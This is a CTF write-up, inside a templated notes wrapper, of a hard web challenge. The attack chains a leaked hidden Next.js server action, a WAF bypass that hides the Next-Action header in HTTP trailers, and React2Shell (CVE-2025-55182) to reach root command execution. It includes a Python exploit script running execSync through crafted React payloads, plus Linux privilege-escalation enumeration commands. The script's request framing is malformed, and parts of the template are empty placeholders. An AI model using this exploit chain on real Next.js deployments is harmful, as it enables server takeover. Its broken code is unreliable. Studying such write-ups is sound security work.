funikuler-vragam-kubani
funikuler-vragam-kubani
Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2025-12-19 | Status: Solved Techniques: file_read_via_rce, filesystem_enumeration, hidden_server_action_invocation, react2shell_rce, rsc_action_recon, trailer_header_bypass
Summary
Task: a Next.js 16 / React 19 canary service exposed a hidden server action, but a WAF blocked the usual Next-Action header. Solution: smuggle the action id in HTTP trailers, adapt the React2Shell multipart graph to the canary quoting rules, get RCE, then read the receipt file containing the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
alfactf| ID:20251219_alfactf_funikuler_vragam_kubani - Tags: waf_bypass, rce, react, nextjs, server_actions, http_trailers, rsc
- Indicators: Next.js RSC responses leak a server action id, WAF blocks normal Next-Action but backend still accepts trailer headers, server action returns an RSC stream with recovery-related data, React 19 canary multipart payloads only work when string chunks are JSON-quoted
- Source:
20251219_alfactf_funikuler_vragam_kubani.md
Foothold
Vulnerability / Misconfiguration
- File_read_via_rce
- Filesystem_enumeration
- Hidden_server_action_invocation
- React2shell_rce
- Rsc_action_recon
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- file_read_via_rce
- filesystem_enumeration
- hidden_server_action_invocation
- react2shell_rce
- rsc_action_recon
- trailer_header_bypass
- Tags: waf_bypass, rce, react, nextjs, server_actions, http_trailers, rsc
Original Writeup
<details><summary>Click to expand original content</summary>funikuler-vragam-kubani — alfactf
Description
Service: funikuler-vragam-kubani
English summary: the target was https://funicular-gm2cxozn.alfactf.ru/, a Next.js 16.0.6 / React 19 canary application. The goal was to reach the hidden recovery flow, turn it into code execution, and read the file that stored the flag.
Analysis
Summary
The exploit chain was:
- Leak a hidden server action id from the RSC stream,
- Bypass the WAF by moving
Next-Actioninto HTTP trailers, - Confirm and invoke the hidden
recoveryAction, - Pivot to React2Shell / CVE-2025-55182,
- Fix the multipart encoding for this React canary build,
- Gain RCE as
root, enumerate files, and read the receipt with the flag.
Recon
Initial reconnaissance showed a modern App Router stack: Next.js 16.0.6 with React 19 canary. The important clue was inside the RSC response, where the server exposed a hidden action id:
4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2
That meant the backend still had a callable server action even though the UI did not expose it.
WAF bypass with HTTP trailers
Sending a normal Next-Action header was blocked by the WAF, so direct invocation failed before the request reached Next.js. The workaround was to send a chunked request with:
Trailer: Next-Action
and then place the actual action id in the trailer section after the terminating chunk. This passed the WAF but still reached the backend parser.
Validation was easy: using a fake action id returned 404 together with:
x-nextjs-action-not-found: 1
So the trailer value was definitely being consumed as the real Next-Action header by the backend.
Hidden action behavior
The leaked action was a hidden recoveryAction that expected a single FormData argument. Parsing the returned RSC stream showed a recovery-related result mentioning that authentication was offline. That confirmed the action was real, reachable, and interesting enough to continue fuzzing.
React2Shell
The target behavior matched React2Shell / CVE-2025-55182: a server action path that could be turned into code execution by sending a crafted multipart React graph. Public PoCs were close but did not work unchanged against this deployment.
The key difference was the React canary serializer. String chunks in the multipart graph had to be JSON-quoted, otherwise deserialization failed. Two important corrections were:
part 0 = "$1" # not $1 part 2 = "$@3" # not $@3
After reproducing the behavior locally with react-server-dom-webpack, the payload format became stable and the exploit worked reliably.
Code execution and enumeration
With the corrected multipart graph and trailer-based action delivery, the server executed arbitrary commands. Redirect-based exfiltration confirmed the execution context:
typeof processprocess.versionid
The id output showed the process was running as root.
From there, filesystem enumeration revealed:
/app/scripts/restore-from-backups.sh
That script referenced the real receipt location:
/opt/funicular/archive/WO-17-04.receipt
Reading that file via RCE returned the flag.
Solution
Minimal exploit logic
#!/usr/bin/env python3
import socket
import ssl
import urllib.parse
HOST = "funicular-gm2cxozn.alfactf.ru"
ACTION = "4082c44f4a6a9cc400f0e6b45ed1c06c10f100aad2"
# Core React canary fix: string chunks must be JSON-quoted.
MULTIPART = "\r\n".join([
"0=\"$1\"",
"1=\"$L2\"",
"2=\"$@3\"",
"3=\"globalThis.process.mainModule.require('child_process').execSync('cat /opt/funicular/archive/WO-17-04.receipt').toString()\"",
])
body = (
"0\r\n\r\n"
"0\r\n"
f"Next-Action: {ACTION}\r\n"
"\r\n"
)
req = (
"POST / HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"User-Agent: exploit\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(MULTIPART)}\r\n"
"Transfer-Encoding: chunked\r\n"
"Trailer: Next-Action\r\n"
"Connection: close\r\n\r\n"
+ urllib.parse.quote_plus(MULTIPART)
+ "\r\n"
+ body
)
ctx = ssl.create_default_context()
with socket.create_connection((HOST, 443)) as s:
with ctx.wrap_socket(s, server_hostname=HOST) as tls:
tls.sendall(req.encode())
print(tls.recv(65535).decode(errors="replace"))
In practice, the important parts were not the exact helper code but the payload structure:
- deliver
Next-Actionthrough trailers, - send the hidden action id,
- use the corrected JSON-quoted React multipart graph,
- execute a read command for
/opt/funicular/archive/WO-17-04.receipt.
Flag extraction
The final RCE read:
/opt/funicular/archive/WO-17-04.receipt
and returned the flag below.
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR